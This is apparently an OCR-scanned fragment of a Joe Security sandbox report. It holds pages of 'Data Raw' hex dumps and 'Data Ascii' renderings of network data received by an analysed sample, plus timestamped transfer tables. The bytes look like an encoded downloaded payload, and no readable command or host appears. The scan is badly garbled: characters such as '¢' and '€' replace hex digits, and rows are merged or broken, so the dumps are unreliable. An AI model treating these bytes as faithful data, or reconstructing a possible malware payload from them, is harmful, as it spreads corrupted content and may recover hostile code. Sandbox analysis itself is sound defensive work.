#eYtteYoHeYtte% %% %% Y%%%%Y%YE%%9%% %%%% %%%%%%f le-td d0Q%%!f fe-td d0?%%f le-d d0)%%f le-d
d0'%%

Data Raw: 1c 25 ¢8 31 1c 25 ¢8 31 1c 25 ¢8 31 1c 25 b3 31 1c 25 ¢9 31 1c 25 92 31 1c 25 ef 31 1c 25 bc 31 1c 25 Oe e5
64 20 1d c4 de dc 25 25 a5 18 45 9e 1c 25 25 99 e8 8b df 29 25 8b dd dc 25 0d 9b f9 da da Oe e5 64 20 1d c4 be 25 25 25
66 20 21 ba 65 2d b4 38 1d 76 c4 f9 25 25 25 66 20 21 b6 65 2d b4 38 1d 76 c4 a0 25 25 25 66 20 21 66 65 2d 64 20 1d
€4 92 25 25 25 66 20 21 ea 9a 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c4 7c 25 25 25 66 20 21 ea €3 65 2d 64 20 19 b6 20
19 b4 38 1d 76 ¢4 66 25 25 25 66 20 21 ea db 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c6 9d 66 20 21 ea 92 65 2d 64 20 19
b6 20 19 b4 38 1d 76 c6 40 66 20 21 66 65 2d 64 20 11 Oe e5 64 20 15 ba 48 11 b4 38 1d 76 c6 73 66 20 21 ba 8d 2d b4
38 1d 76 c6 67 Oe e5 30 8d ec €8 1c 25 89 da 55 89 64 45 66 20 21 0d

Data Ascii: %1%1%1%1%1%1%1%1%d %%E%%)%%d %%%f le-8v%%%f le-8v%%%f !fe-d %%%f le-d 8v|%%%f le-d
8vi%%%f le-d 8vfle-d 8v@f !fe-d d H8vsf !-8vg0%UdETf !

Data Raw: 3c da da 66 30 1d 66 eb 0d 0Of fe da da c4 c2 de 25 25 b4 1e 2d 5e €9 19 b6 61 49 76 68 20 19 0d 16 50 da da
66 30 19 66 eb 0d a4 fe da da c4 eb de 25 25 b8 1e 2d 5e 9 19 b6 61 49 76 68 20 15 0d 3f 50 da da 66 30 15 66 eb 0d
cd fe da da c4 80 de 25 25 da 4e 31 da 4e 2d 68 20 11 0d ac d6 da da 66 30 11 66 eb 0d 9a 00 da da c4 ad de 25 25 da
4e 31 da 4e 2d 68 20 0d 0d 11 d6 da da 66 30 0d 66 eb 0d c7 00 da da c4 46 de 25 25 68 20 09 75 66 le 2d 94 da da da
5a df dc 25 25 25 0d 5a 06 da da 66 30 09 66 eb 0d 58 00 da da c4 6b de 25 25 68 30 05 8b 66 1e 2d 0d 09 d6 da da 66
30 05 66 eb 0d 87 00 da da c4 06 de 25 25 68 30 01 ea e3 1e 2d 0d 64 85 da da 66 30 01 66 eb 0d ee fe da da c4 35 de
25 25 68 30 fd Oe e5 af 1e 2d 0d 48 85 da da 66 30 fd 66 eb 0d d2 47 da

Data Ascii: <f0f%%-"alvh Pf0f%%-"alvh ?Pf0f%%N1N-h f0f%%N1N-h fOfF%%h uf-Z%%%Zf0fXk%%h0f-f0f%%h0-df0
f5%%h0-HfOfG

Data Raw: 25 25 1e 50 97 97 40 93 3e 54 25 25 25 25 da da da da 29 25 25 25 69 3c 99 40 25 25 25 25 da da da da 2b
25 25 25 2a 91 40 2e 99 97 25 25 da da da da 2d 25 25 25 69 44 4e 95 3c 99 3e 8d 25 25 25 25 da da da da e0 25 25 25
20 97 97 4a 97 25 25 25 da da da da e2 25 25 25 67 4a 4a 91 40 3c 93 25 da da da da e2 25 25 25 7b 3c 97 44 3¢ 93 99
25 da da da da e2 25 25 25 30 93 46 93 4a 52 93 25 da da da da e2 25 25 25 69 40 3e 44 48 3c 91 25 da da da da de 25
25 25 49 55 6b 25 da da da da 2d 25 25 25 2e 8d 4a 97 99 24 93 99 25 25 25 25 da da da da 29 25 25 25 67 54 99 40 25
25 25 25 da da da da 29 25 25 25 32 4a 97 89 25 25 25 25 da da da da 2d 25 25 25 71 4a 93 42 32 4a 97 89 25 25 25 25
da da da da e0 25 25 25 24 93 99 5b 59 25 25 25 30 66 11 5c €9 1d d8 da da

Data Ascii: %%P @>T%%%%)%%%i<@ %%%%+%%%*@. %%-%%%iDN<>%%%%%%% J%%%%%%gJI@<%%%%
{<D<%%%%0FJIR%%%%i@>DH<%%%%|Uk%-%%%.J$%%%%)%%%g T @ %%%%) %%%2J%%%%-%%
9%0JIB2J%%%%%%%$[Y %%%0f

Data Raw: 99 2d 68 30 d1 0d fe de 25 25 66 38 15 60 b6 99 41 26 68 d9 b8 d1 d8 da da 66 a3 29 60 da 99 e4 66 b2 66
2b 0d 0d 35 da da 60 b6 50 09 Oe e5 7f 34 34 89 64 35 8d 0f 18 1c 25 66 38 15 60 b6 99 37 26 66 a9 b8 d1 d8 da da 75
0d fb 1b da da 60 b6 50 13 9e c4 c1 d6 23 da c6 ba Oe e5 7f 34 34 89 64 35 8d e8 63 1c 25 68 20 d1 66 f0 95 59 1c 25 0d
6 31 da da 9e c4 54 d6 23 da c6 Of 3a 83 36 66 c0 38 e7 2d 25 66 €5 30 66 11 5e e9 1d 66 20 2d 66 65 21 64 20 1d eb 2
021 2b 68 20 1d 75 8f 25 66 €8 e5 aa 1c 25 d7 dc 7c 85 10 1c 25 0d 44 9b da da 0d 99 d6 23 da 34 34 38 9e 30 66 11
5e e9 05 2e 7b 32 64 28 19 64 30 21 64 20 09 68 58 05 66 20 21 64 e2 Oe 1b 64 40 1d 66 20 19 65 9c 05 27 04 e9 68 20
15 64 45 66 e2 0d ad 6b da da 66 fd 8f 25 8f 25 2e 66 e2 75 8f 25 8f 25

Data Ascii: -h0%%f8" A&hf) ff+5°P44d5%f8" 7&fu” P#44d5c%h fY%1T#:6f8-%f0Off -feld 1+h u%f%|%D#4480f.{2d(d0!d hXf
Idd@f e'h dEfkf%%.fu%%

Data Raw: 50 95 4e b5 30 66 11 2¢ 2e 7b 32 a9 f7 99 2d 5e €9 15 0d a0 0d 23 da 66 d4 ad 30 da 66 fd Oe 7 66 9e 0d Oc
0b 23 da d7 dc 7c 59 6d 1c 25 0d 00 0b 23 da 64 1e 29 d7 dc 7c 19 6f 1c 25 0d 3b Ob 23 da 64 1e 2d d7 dc 7c 59 6d 1c
25 0d e2 0b 23 da 66 15 64 4e 31 66 eb 66 b2 0d a4 27 25 25 66 9e a5 58 da 25 99 ea 0d ed 0d 23 da 89 6a e0 25 25 25
25 5e 9 31 66 9e 3a 83 36 34 38 9e 66 5 2e 7b 0d 98 0d 23 da 66 ff 66 15 66 ae a5 07 21 66 eb 0d bc cO 23 da 66 6b 2
90d c4 c0 23 da 66 6b 2d 0d bc cO 23 da 66 6b 31 0d b4 c0 23 da a9 b6 a3 e2 66 eb 0d 97 0d 23 da 83 36 9e 68 65 25
2e 7b 66 f 66 15 60 b6 99 35 66 eb 0d 86 29 da da 16 fd 99 €0 Oe e5 83 36 e d5 dc 83 36 9e b5 2e 7b 32 66 1f 66 15 66
6b 31 66 7d 2d 26 5e d6 25 al 00 66 ae 66 6b 31 0d 46 de 25 25 66 b2

Data Ascii: PNOf, {2-"#Off#]Y m6#dl)| 0%:#d-| Y mO#TANLIF%06r X YH%Y606%6 1 F: 6481, {4t fifk)#ik-#ik L#46he% {ff 51)66.
{2ffk1f}-&"Y6ffk1F%Y6f

Data Raw: 35 8d 8a 83 1c 25 66 20 21 0d dO b0 23 da 9e c4 b2 ff 23 da c6 15 83 34 38 9e b5 30 66 11 5e €9 1d 2e 7b Oe
a4 64 28 1d 66 ff 64 20 21 Oe e5 30 8d 2c 3a 1c 25 89 da 55 89 64 45 66 20 21 0d 61 d4 da da Oe e5 30 8d 59 3a 1c 25
89 da 55 89 64 45 66 9e 66 35 da 37 66 15 66 9e 0d 2a e6 25 25 06 15 68 20 1d 66 f3 Oe {7 0d ec 07 23 da 66 30 1d 66 f3
66 9e 66 3d da 2e 31 66 30 1d 66 20 21 66 2d da 2c 51 Oe e5 7f 34 34 89 64 35 8d 16 3a 1c 25 66 20 21 0d 7c d4 da da
9e c4 26 ff 23 da c6 15 Oe e5 7f 34 34 89 64 35 8d 7d 3a 1c 25 68 20 1d 0d fd 05 23 da 9e c4 53 ff 23 da c6 15 83 36 34
34 38 9e 66 €5 30 66 11 5e e9 1d 2e 7b 32 Oe b6 64 38 1d 66 cc 66 ff 64 20 21 Oe e5 30 8d dc 85 1c 25 89 da 55 89 64 4
516 ce 99 89 66 20 21 0d 64 1d da da Oe €5 30 8d 09 3a 1c 25 89

Data Ascii: 5%f [##480f".{d(fd !0,:%UdEf !a0Y:%UdEff57{f*%%h f#fOfff=.1f0f !f- Q44d5:%f !|&#44d5}.%h #S#6448f0f".
{2d8ffd !0%UdEf !d0:%

Data Raw: 30 1d 64 20 21 5e 18 b1 0d 1c 25 25 ea a9 ab 25 25 25 7c b1 0d 1c 25 0d 4b c0 da da 66 1d Oe e5 30 8d 8a
4a 1c 25 89 da 55 89 64 45 66 3a 2d 26 5e d6 25 al 69 66 ae 66 a2 0d 45 be da da 66 15 5e 58 21 25 99 2d 66 6b 2d 16
20 21 50 00 5e 58 1d 25 99 ea 66 7b 35 66 20 1d 0d fe 8 da da a9 e5 99 35 66 ae 66 a2 0d 23 bc da da 66 eb 0d e6 a0
23 da 26 5e d6 da 50 el Oe e5 7f 34 34 89 64 35 8d db 4a 1c 25 7c b1 0d 1c 25 0d eb 09 da da 9e c4 f5 a4 23 da c6 13
3a 83 36 34 34 38 9e 68 65 25 30 66 11 2c 2e 7b 32 64 20 21 5e 18 b1 0d 1c 25 25 99 46 7c b1 0d 1c 25 0d 5e 09 da da
66 1d Oe e5 30 8d 12 95 1c 25 89 da 55 89 64 45 66 3a 2d 26 5e d6 25 al 04 66 ae 66 a2 0d 58 07 da da 66 15 66 6b 29
16 20 21 50 35 66 ae 66 a2 0d 9b bc da da 66 eb 0d 5e €9 23 da 26 5e d6 da

Data Ascii: 0d 1"%%%%%|%Kf0J%UdEf:-&"%iffEF X!%-fk- 1P X%f{5f 5ff#f#& \P44d53%|%#:6448he%0f, {2d 1"%%
F|%"f0%UdEf:-&"%ffXffk) |P5fff #&"

Data Raw: c6 c6 66 20 21 83 36 66 c0 38 9e 66 e5 2e 7b 32 5e 9 1d 66 cc 66 1f 66 fd 8f 65 8d 25 55 25 25 7b 8f 25 2e
0d 79 c0 23 da 64 29 49 68 69 49 29 75 7b 32 66 69 49 31 75 2e 0d 5a c0 23 da 66 29 49 34 7f 3a 83 36 9 66 e5 30 66
11 5e e9 15 2e 7b 32 66 d4 66 17 66 fd 66 28 31 66 b2 66 9e 0d 84 da da da 64 20 1d 66 eb 0d b2 23 da da 66 ed 66 fb
66 9e 0d b9 da da da 64 20 21 68 20 15 75 8f 25 66 20 1d 75 66 20 21 75 8f 25 8f 25 2e 0d 2c be 23 da 66 15 a5 58 2d 2
599 {6 8f da 7b 0d dc c0 23 da 68 20 19 75 66 20 31 75 32 66 20 1d 75 2e 0d a3 09 23 da 66 eb 3a 83 36 66 c0 38 7 2d
25 68 65 25 2e 7b 32 30 5¢ e9 f5 23 da da 66 Of 66 1d Oe b6 8f 65 8d 25 35 25 25 8d fe dc 25 25 8f 25 32 0d b9 09 23 da
64 29 49 5e 61 49 25 ea a9 84 25 25 25 66 29 49 eb 69 49 31 8d 68

Data Ascil: f 16f8f.{2/fffe%U%%{%.y#d)Ihil)u{2filLu.Z#f)14:6f0f {2ffff(Lifd FFffd th u%f uf u%%. #FX-%{#h uf 1u2f u.#f:6f8-
9%he%%.{20\#Hfe%5%%6%%6062#d) 1"al%6%%%f) il Lh
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kBytes

Timestamp transferred Direction
2022-06-26 07:42:48 UTC 155 IN
2022-06-26 07:42:48 UTC 159 IN
2022-06-26 07:42:48 UTC 163 IN
2022-06-26 07:42:48 UTC 167 IN
2022-06-26 07:42:48 UTC 171 IN
2022-06-26 07:42:48 UTC 175 IN
2022-06-26 07:42:48 UTC 180 IN
2022-06-26 07:42:48 UTC 184 IN
2022-06-26 07:42:48 UTC 187 IN

Copyright Joe Security LLC 2022

Data

Data Raw: €9 19 2e 7b 32 Oe b6 64 38 19 66 d4 64 30 1d 64 20 21 66 20 21 0d e3 dd 23 da 66 20 1d 0d db dd 23 da Oe
e5 30 8d a8 bl 1c 25 89 da 55 89 64 45 Oe 1b 68 20 19 66 30 21 0d 5e d9 23 da 66 20 19 0d 7e db 23 da 75 66 a2 94 dc
25 25 25 66 f0 d5 ad 1c 25 0d el eb 23 da 5e 9 29 66 30 19 66 20 1d 0d 8f 94 23 da 66 fd 26 5e d6 da 50 ea 66 e2 68 29
d5 66 30 19 0d dc d9 23 da c6 10 66 e2 68 29 d5 75 66 a6 df dc 25 25 25 66 20 19 0d db dd 23 da 66 20 1d 0d 73 db 23 d
a 66 ed de a6 68 20 19 df dc 25 25 25 0d b8 dd 23 da 6b 5e 58 19 25 50 84 Oe e5 7f 34 34 89 64 35 8d f9 bl 1c 25 68 20
19 df de 25 25 25 0d a5 8e 23 da 9e c4 d7 d1 23 da c6 c6 3a 83 36 66 cO 38 9e b5 2e 7b 32 30 2c 66 c4 66 ff 64 29 49 68
4e dc 66 fb 66 a0 0d 49 94 23 da 73 60 1b al f6 6b Oe da 66 41 49

Data Ascii: .{2d8fd0d !f I#f #0%UdEh fOI"#f ~#uf%%%f%#")f0f #& Pfh)f0#fh)uf%e%%f #f s#fth %%%#k "X%P44d5%h
%%%##:618.{20,ffd) INNffl#s kAl

Data Raw: 25 df f1 d7 1c 25 0d 11 7e 23 da da 10 59 c4 1c 25 da 10 41 c4 1c 25 da 10 25 c4 1c 25 8d 05 d7 1c 25 68 60
99 da da da df 29 25 25 25 0d cc cb 23 da 66 60 99 da da da 0d 4b cd 23 da 75 0d 05 a2 23 da 7e ed 0d 1c 25 da 10 71
c4 1c 25 8d 11 d7 1c 25 da 10 5d c4 1c 25 8d 21 d7 1c 25 da 10 f5 0d 1c 25 68 60 95 da da da df e0 25 25 25 0d 8a cb 23
da 66 60 95 da da da 0d 09 82 23 da 75 7c ed 0d 1c 25 75 0d 7d a2 23 da 7e dd 0d 1c 25 df 6d 3e 65 25 dd dd 0d 1c 25
0d f9 11 da da 7c ed 0d 1c 25 75 0d 9c eb 23 da dd 59 c4 1c 25 df 31 8e 1c 25 0d 63 7e 23 da dd 41 c4 1c 25 df 3d 8e 1c
25 0d Oa 7e 23 da dd 25 c4 1c 25 df 49 8e 1c 25 0d 45 7e 23 da dd 5d c4 1c 25 df 55 8e 1c 25 0d ec 7e 23 da dd 71 c4 1c
25 df 65 8e 1c 25 0d 27 7e 23 da dd f5 0d 1c 25 df 71 8e 1c 25

Data Ascii: %%~#Y%A%%%%h")%%%#f K#u#~%q%%] %! %%h" %% %#f #u| You~%m>e%%| You#Y Y% 1%c~#A
%=%~#%%I|Y%E~#]%U%~#q%e % ~#%q%

Data Raw: 1c 25 7c ed 0d 1c 25 75 0d 2c 92 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d a8 01 da da 8d e5 db
1c 25 7c ed 0d 1c 25 75 0d 08 92 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 84 01 da da 7c ed 0d 1c 25 75
0d bb db 23 da dd 59 c4 1c 25 df 09 db 1c 25 0d ee 6e 23 da 68 60 99 d8 da da 94 f9 8e 1c 25 66 f0 59 c4 1c 25 0d 90 70
23 da 66 60 99 d8 da da 0d 83 72 23 da 66 f5 68 60 9d d8 da da 0d 64 b9 23 da 66 60 9d d8 da da df 25 a5 25 25 0d cc
43 dada 7e ed 0d 1c 25 8d 0d db 1c 25 7c ed 0d 1c 25 75 0d d1 db 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0
d 4d 01 dada8d 21 db 1c 25 7c ed 0d 1c 25 75 0d ad db 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 29 01 da
da 8d 3192 1c 25 7c ed 0d 1c 25 75 0d 89 db 23 da 7e dd 0d 1c 25

Data Ascii: %]|%u,#~%M>e%%%|%u#~%M>e%%|%u#Y %%n#h %fY %p# rifh d#f %% %C~%%|You#~%M>
€%%M!%|%u#~%M>e%%)1%|%u#~%

Data Raw: 1c 25 a9 25 a9 25 25 25 a5 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 25 39 25 39 25 39 25 39 dc a9
67 a9 dc 2b 67 2b 25 41 25 41 25 25 25 39 €2 a5 22 a5 e2 27 22 27 25 25 25 25 25 25 25 25 25 25 25 25 2d 25 2d 25 25
25 25 25 25 25 25 25 25 25 25 25 35 1c ¢5 dc 3d dc 45 dc 09 45 09 45 da da 25 25 25 25 25 25 25 25 25 25 da da da da
da da 35 dc 25 25 08 e0 1a 25 1a 27 1a 25 1a 27 la 25 1la 25 la 25 1a 27 35 dc da da da da da da da da da da da da da
da fe 65 fe 65 fe 27 fe 27 da da da da da da da da 1a 25 1a 27 Oa 25 1a 27 18 25 18 25 1a 25 1a 25 25 25 25 a5 25 a5 25
a5 25 25 25 25 da da da da da da da da da da da da da da da da da da da da 09 45 09 45 09 45 09 45 09 45 09 45 09 45
09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 02 67 1a 25 1la 25

Data Ascii: %%%%%-%-%-%-%-%-%-%-%%9%9%9%9g+g+%A%A%%%9""" %% %% % % %% %% % %-%-%% %% % % %%
9%%%%%5=EEE %%%%%%%%%%5% %% % %% %' 5ee" %' %' %% % %% %% % % %% %% EEEEEEEEEEEEEEEEg%%

Data Raw: 25 25 71 4a 3e 3¢ 91 1c 91 91 4a 3e 25 25 25 25 22 40 99 79 44 3e 46 1e 4a 50 93 99 25 25 25 25 2¢ 50 40
97 54 75 40 97 8b 4a 97 48 3c 93 3e 40 1e 4a 50 93 99 40 97 25 25 25 22 40 99 7b 40 97 4e 44 4a 93 25 25 25 25 22 40
99 1e 50 97 97 40 93 99 79 8d 97 40 3¢ 89 24 89 25 25 25 25 24 93 99 40 97 91 4a 3e 46 40 89 69 40 3e 97 40 48 40 93
99 25 25 25 25 24 93 99 40 97 91 4a 3e 46 40 89 24 93 3e 97 40 48 40 93 99 25 25 25 25 7b 44 97 99 50 3c 91 2¢ 50 40
97 54 25 25 25 25 32 44 89 40 1e 8d 3c 97 79 4a 28 50 91 99 44 67 54 99 40 25 25 25 28 50 91 99 44 67 54 99 40 79 4a
32 44 89 40 1e 8d 3c 97 25 25 25 91 4e 99 97 91 40 93 1c 25 25 25 25 91 4e 99 97 3e 95 54 93 1c 25 25 25 71 4a 3c 89
71 44 87 97 3¢ 97 54 20 9d 1c 25 25 25 25 22 40 99 79 8d 97 40 3c 89 71 4a

Data AsCii: %%60J><J>%%%%" @yD>FJIP%%%%,P@Tu@JH<>@JIP @%%%"@{@NDJI%%%%"@P@y@
<$%%%%$@I>F@I@>@H@%%%%$@I>F@$>@H@%%%%{DP<,P@T%%%%2D@<yJ(PDIT @%%%(PDYT@
yI2D@<%%%N@%%%%6N>T%%%qJ<qD<T %%%%" @y @<0J

Data Raw: 59 f5 59 f9 59 fd 59 01 59 05 59 09 59 0d 59 11 59 21 59 41 10 49 10 4d 10 51 10 55 10 59 10 5d 10 61 10 65
1069 10 7d 10 9d 10 a5 10 a9 10 ad 10 b1 10 b5 10 b9 10 bd 10 ¢1 10 ¢5 10 d9 10 f9 10 01 10 05 10 09 10 0d 10 11 10
151019 10 1d 10 21 10 35 5b 55 5b 5d 5b 61 5b 65 5b 69 5b 6d 5b 71 5b 75 5b 79 5b 7d 5b 95 5b b5 5b bd 5b ¢1 5b ¢5
5b ¢9 5b cd 5b d1 5b d5 5b d9 5b dd 5b ed 5b 0d 5b 15 5b 19 5b 1d 5b 21 5b 25 12 29 12 2d 12 31 12 35 12 49 12 69 12
7112751279127d 128112851289 128d 129112 a1 12¢112¢9 12 cd 12d112d512d9 12 dd 12 el 12 €5 12 €9
12 fd 12 1d 12 25 5d 29 5d 2d 5d 31 5d 35 5d 39 5d 3d 5d 41 5d 45 5d 5d 5d 7d 5d 85 5d 89 5d 8d 5d 91 5d 95 5d 99 5d
9d 5d a1 5d a5 5d b9 5d d9 5d e1 5d e5 5d 9 5d ed 5d f1 5d f5 5d f9 5d

Data Ascii: YYYYYYYYYIYAIMQUY]aei}!S[U[][alefi(m{a[uly B %)-15 iquy}%eDI-1115191=] AIEN I

Data Raw: €9 14 f5 14 f9 14 09 14 11 14 15 14 19 14 1d 14 21 14 25 5f 29 5f 2d 5f 31 5f 35 5f 39 5f 3d 5f 41 5f 45 5f 49 5f
4d 5f 51 5f 55 5f 59 5f 5d 5f 61 5f 65 5f 69 5f 6d 5f 71 5f 75 5f 79 5f 7d 5f 81 5f 85 5f 89 5f 8d 5f 91 5f 95 5f 99 5f 9d 5f al

5f a5 5f a9 5f ad 5f bl 5f bf 5f d1 5f df 5f e3 5f f5 5f ¢4 5f 19 5f 29 16 39 16 41 16 45 16 49 16 4d 16 51 16 55 16 59 16 5d
16 61 16 65 16 69 16 6d 16 71 16 75 16 79 16 7d 16 81 16 85 16 89 16 8d 16 91 16 95 16 99 16 9d 16 al 16 a5 16 a9 16

ad 16 b1 16 b5 16 b9 16 bd 16 c1 16 ¢5 16 ¢9 16 cd 16 d1 16 d5 16 d9 16 dd 16 el 16 e5 16 €9 16 ed 16 f1 16 f5 16 f9 16
09 16 d0 16 d4 16 31 61 51 61 59 61 5d 61 61 61 65 61 69 61 6d 61 71 61 7561 79 61 7d 61 81 61 85 61 89 61 8d 61 91

619561 al61cl6lc96lcd6ldl6lds

Data Ascii: 1% ) - 159 =AEIMQUY]aeimaqguy} )9AEIMQUY]aeimquy}1aQ

aYa) iamagauayay}

Data Raw: 4e ac 99 59 ea 38 a5 bb ¢7 46 ac 3f d9 43 18 a5 db c¢7 82 ac 26 0d 50 99 25 58 af b3 3e a5 ac Oc 33 8b bl b4
3c 81 b1 62 20 85 64 7d 3f 4b a2 3b 3e c0 7d 10 7b 6a 10 3e f8 7d 12 9b O f6 €5 ¢3 3c ca 2d 49 27 66 a5 ee 11 2d 83 a9
35e7 91 a7 b5 b522 7d 71 7d 1e cd 00 11 fe d9 37 df 2d 32 e4 5e a9 Oc e7 02 47 6e cd 2a d9 00 9f 37 d4 e9 9d 87 5f 8¢
b5 7d 6b d1 4b 13 fc 43 fc ¢3 00 83 02 33 ee 3a 6e 6d 49 33 a4 b7 09 73 2f fc 00 b5 57 24 e6 24 46 6d b6 6d 08 c9 2e c9
637 35 44 ¢1 71 4b c6 b5 48 a4 03 09 2d d7 a5 d1 45 72 6¢ 92 b5 ea b5 2a b7 d6 a4 9e 09 92 39 5f a0 ad 07 71 e4 c7
49 77 c9 b9 37 6f 10 40 1a c0 29 80 7a 57 67 74 c5 cf 2c a8 84 ¢3 f9 2d cf ad 5f 7a 7f 24 48 c5 9b 75 Oa 2e 62 84 ee 59
50 bf 00 a8 76 3b 1e a6 c9 08 7e b0 f5 bf 44 42 44 d2 8d Oa

Data Ascii: NY8F?C&P%X>3<b d}?K;>}j>}<-I'-5"}q}7-22Gn*7_}kKC3:nmI3s/W$$SFmm.c5DgKH-Erl*9_glw70@)zWat,-
_z$Hu.bYPv;~DBD

Data Raw: fc 57 57 f7 82 f9 23 51 2d e9 ¢7 Oc 6f ad c7 ad 7b 86 00 16 56 e0 6¢ 6¢ 6¢ 63 e6 c8 ba 25 15 7f ee ac ac 2¢ 39
3b d3 d2 df 10 2a 31 85 37 86 fe 10 10 b0 25 f1 e0 19 21 12 88 ee 95 1f 2e e7 2b c1 e2 cb d8 22 35 f3 d6 Oc eb da 27 d6
la b6 la de 25 6d ce 17 f3 d8 ac e7 61 25 25 25 25 24 20 73 69 d3 67 85 a7 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25

Data Ascii: WW#Q-0{VIllc%,9;*17%!.+"5'%ma%%%%$ sig%%%6%%%%%6%%6%% %% % %% %% %% %% %% % %% %%
%%%%% %% %% %% %%%%% % %% %% %% %% %% %% %% %% %% %% % % %% %% %% %% %% %% % %% %% %% %%
%%%%% %% %% %% %%%%% % %% %% %% %% %% %% %% %% %% %% % % %% %% %% %% %% %% %% %% %% % %%
%%%
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kBytes

Timestamp transferred Direction
2022-06-26 07:42:48 UTC 191 IN
2022-06-26 07:42:48 UTC 195 IN
2022-06-26 07:42:48 UTC 199 IN
2022-06-26 07:42:48 UTC 203 IN
2022-06-26 07:42:48 UTC 207 IN
2022-06-26 07:42:48 UTC 212 IN
2022-06-26 07:42:48 UTC 216 IN
2022-06-26 07:42:48 UTC 219 IN
2022-06-26 07:42:48 UTC 223 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 4d 41 ff e3 b7 a0 66 07 74 70 3c €9 ac ac 6b c4 02 a2 ed 7f 9a 72 c¢7 f9 b1 bb cc bl d2 34 bd ee e0 cd ba 96
60 60 66 43 40 f3 67 fe 13 9a a3 82 99 b2 44 d7 fb ca 00 fb bd ed c9 23 ef fa 71 93 5b 76 44 8f 8f 17 56 d9 46 d3 01 9c c1
bd 85 b7 0b 80 be 1d ce 5f 7a e2 2d 55 33 €9 75 38 fd 91 9b 53 3a e3 71 22 a2 78 ec b6 1d a5 2f 1le c5 e8 02 6a Oe 06 79
45 fc 5b 64 03 86 98 41 84 0d f6 dc c5 1f 14 98 1f 51 f1 f6 12 93 ¢5 4d 57 Oc Oc Oc be 73 f5 48 92 be dd 7b 66 4c 5¢ c3 ch
ae 42 94 ff f2 e7 07 30 20 e9 3f ee a2 7d 3b 45 €9 35 a5 ae c4 09 f9 84 2e 29 e0 44 6d 24 24 cc 5f 3c 2a 2a ea 40 40 40
c9 8f 38 11 84 df 65 3a 69 57 4a 91 fd 5d 91 c3 e5 33 15 83 e6 ce 07 a0 66 f9 b0 b0 87 8e b4 a4 ef ef 67 82 €6 80 90 dO
2f c2 f3 78 82 90 90 70 68 f6 ba 49 49 89 3f 00 00

Data Ascii: MAftp<kr4“fC@gD#q[vDVF_z-U3u8S:q"x/jyE[dAQMWSsH{fL\BO ?};E5.)Dm$$_<**@ @ @8e:iWJ]3fg/xphlI?

Data Raw: 23 2c €3 Oc 24 3b 6¢ 3d 5d 92 98 80 1b 5c 28 ae 7d 6b 39 42 18 25 2e 30 47 29 12 fe af 54 63 Oe cb 46 23 71
a3 31 ce 07 b3 cd 8f c1 66 cf d7 98 c4 28 73 €0 e0 dc 5¢c db 12 aa 05 46 5 5b fb 60 24 36 21 59 be 19 06 5b dd d7 1e 65
55 6¢ aa 37 4c 66 21 d4 ec a8 6 ef fb fd 8b ea a2 73 7f 55 4d 2e al 9c 4d 2e bd a5 02 d2 el 9b 20 c7 1a b9 bb ab fd 73 3
80 42 94 09 ff 6f ca b9 18 fO ¢9 5f 81 92 52 4b 75 dc €9 52 35 0f e0 61 09 78 79 fO af 00 89 Oa a4 68 16 7d f3 cd 18 fe 62
46 b9 51 9f ef be a4 49 Oc 2e 4b 27 53 36 53 be bc 76 22 b7 cd 3e 0f b0 e7 c9 8b a8 b2 6e 9f 65 69 13 c7 00 85 c6 €0 51
82 3d 43 37 ad 0f d1 33 97 2 ab d5 8f 00 16 f5 5f 44 89 3a 09 70 3a a5 e5 af 08 9c f1 5e 43 8 e5 d3 5¢ 4f ba ed 6e 4c 84
d9 f2 07 78 46 3c 62 07 al 1f 68 a6 fc 4e a0 02

Data Ascii: #,%;|=]\(}k9B%.0G) TcF#q1f(s\F[ $6!Y[eUI7LflsUM.M. sBo_RKuR5axyh}bFQI.K'S6Sv">neiQ=C73_D:
p:AC\OnLxF<bhN

Data Raw: 68 b7 Oe 54 96 1f 6a b3 8d 2c 6¢ b1 29 ff d4 ec d7 47 31 95 47 5c fd 81 12 24 01 78 f4 44 c4 2b c7 ff 91 89 e3
4c 4e 75 9d b3 7f 73 41 8f be 07 92 d5 ¢3 37 99 35 eb 97 6f ¢4 f7 4c b6 6f 07 a4 11 79 e8 7c 07 5f b8 da 2c ea 16 d1 75
76 4b af 03 f4 92 26 69 ff bf 66 6a a2 1d eb c9 4e d3 1b 25 Oc d8 cf 9a 84 41 e5 30 38 65 db 4d fb 16 5¢ bd 53 7f 59 74 04
d3 5f 5d 56 22 95 b6 86 20 82 {7 ea 84 ed 15 fd cf 50 79 63 3b 00 53 08 c9 d5 88 ad 1b de 76 98 85 a2 73 97 dd 5c f5 03
71 cd cb 8b 3f ff 23 24 82 ba 34 €9 0f 11 02 a9 de 6b d0 d3 2e fa 76 85 5a c1 5b 1d 4e b5 e4 55 3e 71 ef a5 da 4d f4 92
9c 01 9d Oc de 09 55 ae e6 23 d4 8b cf 19 88 28 30 26 76 b4 55 8f 2b 21 €9 e9 fb dc 8 8f 86 d0 d5 f4 4d 8¢ a2 ea 9f 67 6¢
43 3d 10 05 8a 3e €9 b1 3a f0 97 95 fa 8a 3f 4f

Data Ascii: hTj,)G1G\$xD+LNusA750Loy|_,uvK&ifiN%A08eM\SYt_]V" Pyc;Svs\q?#$4k.vZ[NU>qMU#(0&vU+!MgIC=>:?0

Data Raw: 39 dc 7e 73 79 c2 4b 51 dc 98 33 8 48 e4 el 62 e4 9e 3f 72 45 27 04 4e 05 31 69 a4 15 c2 1le 11 1d 78 50 60
